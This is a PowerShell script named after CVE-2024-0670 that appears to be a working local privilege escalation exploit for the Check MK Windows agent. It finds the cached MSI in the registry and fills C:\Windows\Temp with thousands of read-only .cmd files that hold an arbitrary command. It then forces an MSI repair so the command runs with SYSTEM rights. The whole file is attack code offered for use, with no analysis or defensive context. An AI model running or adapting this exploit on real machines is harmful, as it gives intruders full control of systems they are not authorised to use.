CVE-2024-0670.ps1

param(
    [int]$MinPID = 1000,
    [int]$MaxPID = 10000,
    [int]$MaxCounter = 1,
    [string]$Cmd = "whoami > C:\Windows\Temp\whoami.txt"
)

try {
    Get-ChildItem "C:\Windows\Temp" -ErrorAction Stop | Out-Null
} catch {
    throw "[!] Read access to C:\Windows\Temp is denied."
}
$testFile = "C:\Windows\Temp\access_test.tmp"
try {
    "test" | Out-File -FilePath $testFile -ErrorAction Stop
    Remove-Item $testFile -ErrorAction Stop
} catch {
    throw "[!] Write access to C:\Windows\Temp is denied."
}

Write "[+] Searching for Check MK installer... "
$Installer = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
        Where-Object { $_.DisplayName -like '*Check MK*' } |
        Select-Object -First 1).LocalPackage
if (!$Installer) {
    throw "[!] Could not find Check MK MSI"
}
Write "[+] Found: $Installer"

Write "[+] Using command: $Cmd"
$Total = ($MaxCounter + 1) * ($MaxPID - $MinPID)
Write "[+] Preparing $Total .cmd files..."
$Progress = 0
foreach ($c in 0..$MaxCounter) {
    for ($i = $MinPID; $i -le $MaxPID; $i++) {
        $filePath = "C:\Windows\Temp\cmk_all_$($i)_$($c).cmd"
        if (Test-Path $filePath) {
            Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $false
        }
        [System.IO.File]::WriteAllText($filePath, $Cmd, [System.Text.Encoding]::ASCII)
        Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue

        $Progress++
        $Percent = [math]::Floor(($Progress / $Total) * 100)

        if ($Percent -ge $NextMarker) {
            Write "[*] Progress: $Percent%"
            $NextMarker += 10
        }
    }
}

Write "[+] Triggering MSI to execute command..."
Start-Process "msiexec.exe" -ArgumentList "/fa `"$Installer`"" -Wait
Write "[+] Done"